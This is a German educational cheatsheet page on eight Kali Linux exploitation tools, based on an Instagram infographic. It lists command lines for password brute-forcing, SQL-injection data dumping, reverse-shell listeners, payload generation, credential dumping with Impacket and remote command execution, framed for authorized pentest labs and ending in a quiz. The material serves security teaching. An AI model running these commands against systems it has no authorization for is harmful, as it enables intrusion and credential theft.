← andblack Check · Übersicht
andblackcheck
Kali Exploitation Tools
KALI LINUX CHEATSHEET · EXPLOITATION · PENTEST · AUTHORIZED LABS ONLY
Original-Infografik: „EXPLOITATION TOOLS — KALI LINUX CHEATSHEET — QUICK COMMANDS FOR AUTHORIZED PENTEST LABS“ von hexsecteam (HexSec Security Research Community) — 8 Exploit-Tools mit je 6–8 Kommandozeilen-Befehlen im Terminal-Look (schwarz/neon-grün).
Quelle: Instagram — hexsecteam ↗
Kali Exploitation Tools - hexsecteam
Kernidee: Diese 8 Werkzeuge decken die Exploitation-Phase eines autorisierten Pentests ab — vom Login-Audit (Hydra) über das Exploit-Framework (Metasploit) und SQL-Injection-Tests (SQLMap) bis zur Post-Exploitation (Pwncat, Impacket, NetExec). Die Merkregel der Quelle: RECON → EXPLOIT → CONTROL → REPEAT.

Basics: Was ist Exploitation?

Beim Pentest (Penetrationstest) prüft man ein System gezielt auf Schwachstellen — nur mit Erlaubnis des Eigentümers. Die Exploitation ist die Phase, in der eine gefundene Schwachstelle tatsächlich ausgenutzt wird, um Zugriff zu erlangen. Der Ablauf folgt einem Kreislauf:

  • RECON — Informationen sammeln (Dienste, Ports, Versionen, Benutzer).
  • EXPLOIT — eine Schwachstelle ausnutzen (z. B. schwaches Passwort, SQL-Injection, bekannte Lücke).
  • CONTROL — Zugriff sichern & ausbauen (Reverse Shell, Dateien übertragen, Rechte erweitern).
  • REPEAT — vom kompromittierten System aus weiter vorgehen (Lateral Movement).
Wichtig: All diese Tools sind zweischneidig — sie funktionieren nur in autorisierten Testumgebungen (eigene Labore, beauftragte Pentests). Unerlaubter Einsatz ist strafbar. Die Quelle betont: „Educational & authorized security testing only“ und „STAY CURIOUS • STAY ETHICAL • HACK RESPONSIBLY“.

Die 8 Exploitation-Tools

🎯 Hydra — Login-Auditor

Testet Benutzername/Passwort-Kombinationen gegen Dienste (SSH, FTP, SMB, HTTP(S) u. a.).

hydra -L users.txt -P passwords.txt ssh://target — Credentials testen · hydra -l admin -P passwords.txt ftp://target — einzelner User · hydra -t 4 … — 4 parallele Tasks · hydra -f … — bei erstem Treffer stoppen.

🧩 Metasploit — Framework-Konsole

Das bekannteste Exploit-Framework: Module suchen, laden und konfigurieren.

msfconsole — starten · search type:auxiliary — Module suchen · show exploits — Exploits auflisten · use <module> — laden · show options / set <option> <value> — konfigurieren.

🐱 Pwncat — Post-Exploitation-Session

Interaktive Reverse-Shell mit Datei-Upload/-Download und SSL-Unterstützung.

pwncat-cs -lp 4444 — Listener · pwncat-cs 192.168.1.10 4444 — verbinden · --ssl — verschlüsselt · upload/download — Dateien übertragen.

💉 SQLMap — Automatisierte SQL-Injection

Erkennt und nutzt SQL-Injection-Schwachstellen in Web-URLs automatisiert aus.

sqlmap -u "URL" — testen · --dbs — Datenbanken auflisten · -D db --tables — Tabellen · -D db -T t -C c --dump — Daten auslesen · --level=3 --risk=2 — intensiver testen.

📦 MSFPC — Payload-Ersteller

Erzeugt schnell Payloads (ausführbare Dateien) für Metasploit.

msfpc — interaktives Menü · --list — Vorlagen · --payload <p> — wählen · --ip <LHOST> / --port <LPORT> — Ziel · --format exe — Ausgabeformat · --out <file> — speichern.

🐍 Impacket — Python-Netzwerkprotokoll-Toolkit

Sammlung von Python-Skripten für Windows-Netzwerkprotokolle (SMB, WMI, LDAP, MSSQL).

impacket-GetNPUsers.py domain/ -no-pass — AS-REP-Roast · impacket-psexec.py user:pass@target — Ausführung via SMB · impacket-secretsdump.py … — Secrets auslesen · impacket-wmiexec.py … — via WMI.

🔌 NetExec (nxc) — Enumeration & Post-Exploitation

Nachfolger von CrackMapExec: Dienste enumerieren und Befehle ausführen.

nxc smb <target> -u <user> -p <pass> --shares — Shares · --users — Benutzer · nxc winrm … -x "ipconfig" — Befehl ausführen · nxc ldap … --users — LDAP · nxc rdp … --rdp-check — RDP testen.

📁 Dirb — Web-Content-Scanner

Findet versteckte Verzeichnisse und Dateien auf Webservern per Wortliste.

dirb http://<target> — Standard-Scan · -w wordlist.txt — eigene Wortliste · -r — Redirects folgen · -X .php,.html — Endungen · -o output.txt — speichern.

Einordnung der Lernseite: gehört zur Kategorie Sysadmin & Netzwerk / Security — Pentesting-Tools. Themengebiet: Exploitation-Werkzeuge in Kali Linux (Login-Audit, Exploit-Framework, SQLi, Post-Exploitation, Web-Scanning). Ergänzt die bestehenden Security-Lernseiten (Nmap, OSINT, Cybersecurity-Cheatsheet).

Selbsttest

  1. Welches Tool testet Benutzername/Passwort-Kombinationen gegen SSH/FTP? (Hydra)
  2. Wie startet man das Metasploit-Framework? (msfconsole)
  3. Welches Tool erkennt SQL-Injection automatisiert? (SQLMap)
  4. Wofür steht die Merkregel RECON → EXPLOIT → CONTROL → REPEAT? (Der Pentest-Kreislauf: sammeln, ausnutzen, Zugriff sichern, weiter vorgehen)
  5. Warum sind diese Tools nur in autorisierten Umgebungen erlaubt? (Unerlaubter Einsatz ist strafbar; nur eigene/beauftragte Systeme)
andblack check · Lernseite „Kali Exploitation Tools“ · Der Lehrer (@lehrer) · Stand 29.09.2026 · Quelle: hexsecteam (Instagram, DdGdF8fCv_I, Infografik) · Ergänzt um Basics (Exploitation, Pentest-Kreislauf) und Einordnung. · Reine Wissensvermittlung, keine Kaufempfehlung. · Einordnung: Kategorie Sysadmin & Netzwerk / Security — Pentesting-Tools.